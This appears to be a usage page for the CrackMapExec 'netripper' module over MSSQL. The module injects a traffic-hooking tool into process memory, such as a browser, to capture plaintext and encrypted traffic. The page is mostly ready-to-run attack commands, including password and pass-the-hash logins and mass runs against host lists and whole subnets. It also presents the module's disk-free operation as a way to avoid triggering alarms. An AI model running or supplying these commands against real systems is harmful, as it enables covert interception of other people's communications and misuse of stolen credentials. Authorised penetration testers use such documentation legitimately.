CrackMapExec Netripper (mssql)


This page contains detailed information about how to use the netripper CME module while using the mssql protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

This module injects NetRipper (Invoke-NetRipper.ps1) into memory by using the Invoke-PSInject.ps1 PowerShell script. NetRipper is a post exploitation tool which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text and encrypted traffic. Note that NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case.

The netripper module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

  • mssql
  • smb

Module Usage

This is how to use the netripper module while using the mssql protocol:

Syntax:
# cme mssql <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M netripper -o PROCESS=<name>

Admin user:
# cme mssql 10.0.5.1 -u sa -p P@ss123 -d . -M netripper -o PROCESS=chrome
# cme mssql 10.0.5.1 -u sa -p P@ss123 --local-auth -M netripper -o PROCESS=chrome

Normal user:
# cme mssql 10.0.5.1 -u dbuser -p P@ss123 -d target.corp -M netripper -o PROCESS=chrome

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme mssql 10.0.5.1 -u sa -H 432b022dc22aa5afe884e986b8383ff2 -d . -M netripper -o PROCESS=chrome
# cme mssql 10.0.5.1 -u dbuser -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M netripper -o PROCESS=chrome
The netripper module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme mssql target_list.txt -u sa -p P@ss123 -d . -M netripper -o PROCESS=chrome
# cme mssql 10.0.5.0/24 -u sa -p P@ss123 -d . -M netripper -o PROCESS=chrome
# cme mssql 10.0.5.1-100 -u sa -p P@ss123 -d . -M netripper -o PROCESS=chrome
